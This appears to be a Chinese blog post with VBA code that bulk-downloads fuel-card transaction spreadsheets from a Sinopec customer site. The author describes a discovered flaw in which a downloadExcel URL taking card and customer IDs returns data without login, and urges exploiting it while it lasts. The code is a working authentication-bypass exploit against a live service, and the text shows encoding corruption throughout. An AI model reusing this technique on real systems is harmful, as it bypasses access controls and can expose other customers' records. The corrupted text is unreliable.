背景:
公司是中石化鉆石用戶,一個(gè)ID下有近百?gòu)埣佑涂ǎㄤN售人員遍布全國(guó)),每月要求對(duì)所有卡的消費(fèi)記錄進(jìn)行統(tǒng)計(jì)。但是中石化網(wǎng)站查詢只能一張一張卡選擇來(lái)進(jìn)行查詢或下載,并不提供批量下載(這種企業(yè)根本不考慮用戶的感受,強(qiáng)烈鄙視一下)。每月需要花費(fèi)1個(gè)人16個(gè)工時(shí)進(jìn)行手工下載,工時(shí)極大浪費(fèi),必須進(jìn)行自動(dòng)化。
需求:
通過(guò)VBA進(jìn)行網(wǎng)站數(shù)據(jù)自動(dòng)下載,并進(jìn)行匯總。
目標(biāo):16小時(shí)工作任務(wù),縮短至1分鐘內(nèi)完成
分析:
通過(guò)目標(biāo)網(wǎng)站http://www.saclub.com.cn/searchGasPumpHist.do進(jìn)行分析,感覺(jué)后臺(tái)通過(guò).net自動(dòng)生成查詢結(jié)果,并存儲(chǔ)為.xls文件供下載。研究了很長(zhǎng)時(shí)間,均無(wú)法取得文件下載的真實(shí)URL。在一個(gè)偶然的情況下發(fā)現(xiàn)了在油卡選項(xiàng)列表框的最后有一條為空的選項(xiàng)(系統(tǒng)漏洞),選擇此項(xiàng)并點(diǎn)擊下載,會(huì)跳轉(zhuǎn)到一個(gè)空頁(yè)面,但是不同的是,瀏覽器地址欄內(nèi)赫然顯示出如下地址:http://www.saclub.com.cn/downloadExcel?flag=gas&startTime=2011-04-06&endTime=2011-07-06&cardId=1000111100XXXXXXXXXXX&customerId=1102000XXXXX。我們看到了通過(guò)向downloadexcel這個(gè)程序傳遞各項(xiàng)參數(shù),就可以獲得一個(gè)名為gas.xls文件,這里引去了本公司的卡號(hào)和ID部分。通過(guò)分析,我們有所啟示,將各項(xiàng)參數(shù)進(jìn)行相應(yīng)的替換,就可以實(shí)現(xiàn)批量下載了。(最重要的一點(diǎn)是,這里可以繞開(kāi)登錄驗(yàn)證而直接下載數(shù)據(jù))
實(shí)現(xiàn):核心代碼
Sub 分卡號(hào)數(shù)據(jù)存出文件()
'目標(biāo):自動(dòng)獲取各卡明細(xì)數(shù)據(jù),并進(jìn)行匯總,目標(biāo)1分鐘以內(nèi)。
'Program: lwx,wh,wxt
'核心代碼
Dim URL As String, unChang_Str01 As String, unChang_Str02 As String, unChang_Str03 As String, unChang_Str04 As String '地址信息中固定不變的各部分
Dim StartTime_Str As String, endTime_Str As String, CardInfo As String, SaveTo As String '查詢期間信息和分卡號(hào)信息和存放目錄信息
Dim iCardcell As Range
Dim xPost As Object, sGet As Object, Y As Object
'利用中石化網(wǎng)站漏洞,獲得油卡查詢結(jié)果的下載地址的規(guī)律,可以進(jìn)行地址構(gòu)造----------------------------------
unChang_Str01 = "http://www.saclub.com.cn/downloadExcel?flag=gas&startTime=" '.net服務(wù)器端程序 DownloadExcel
unChang_Str02 = "&endTime="
unChang_Str03 = "&cardId="
unChang_Str04 = "&customerId=1102000XXXXX"
'構(gòu)造出開(kāi)始時(shí)間、結(jié)束時(shí)間、卡號(hào)等信息。其中customerId是通過(guò)漏洞獲得----------------------------------------
'利用此漏洞可以繞過(guò)登錄驗(yàn)證,直接將所屬客戶所有油卡的信息進(jìn)行下載。
StartTime_Str = Format([Start].Value, "yyyy-mm-dd")
endTime_Str = Format([End].Value, "yyyy-mm-dd")
SaveTo = IIf(Right([Path].Value, 1) = "\", Left([Path].Value, Len([Path].Value) - 1), [Path].Value)
If Dir$(SaveTo, 16) = "" Then MkDir SaveTo
For Each iCardcell In Range([G2], [G65536].End(xlUp))
URL = unChang_Str01 & StartTime_Str & unChang_Str02 & endTime_Str & unChang_Str03 & iCardcell.Value & unChang_Str04 '構(gòu)造好URL
Set xPost = CreateObject("Microsoft.XMLHTTP") '建立一個(gè)http對(duì)象,此處方法建立,省略在引用里添加相應(yīng)項(xiàng)
xPost.Open "GET", URL, 0
xPost.Send
Set sGet = CreateObject("ADODB.Stream") 'ADO stream 的用法。直接將返回的數(shù)據(jù)存儲(chǔ)為excel文件。
sGet.Mode = 3
sGet.Type = 1
sGet.Open
sGet.Write (xPost.responseBody)
sGet.SaveToFile SaveTo & "\" & iCardcell.Value & ".xls", 2
Next iCardcell
end sub
總結(jié):
什么事兒就怕琢磨,如果網(wǎng)站沒(méi)有漏洞的話,也無(wú)從實(shí)現(xiàn),既然有咱就趕緊利用吧在編寫過(guò)程中還用到了ADO STREAM。感覺(jué)很方便。
最后,強(qiáng)烈鄙視中石化、中石油,油價(jià)天天漲,服務(wù)越來(lái)越差。還有CSDN博客插入代碼的功能真沒(méi)以前那個(gè)好用。
以上,構(gòu)造地址列表可以存成.lst文件,直接用迅雷、快車等然見(jiàn)下載,然后在匯總也可實(shí)現(xiàn),缺點(diǎn)在于無(wú)法自定義存儲(chǔ)文件名。
聯(lián)系客服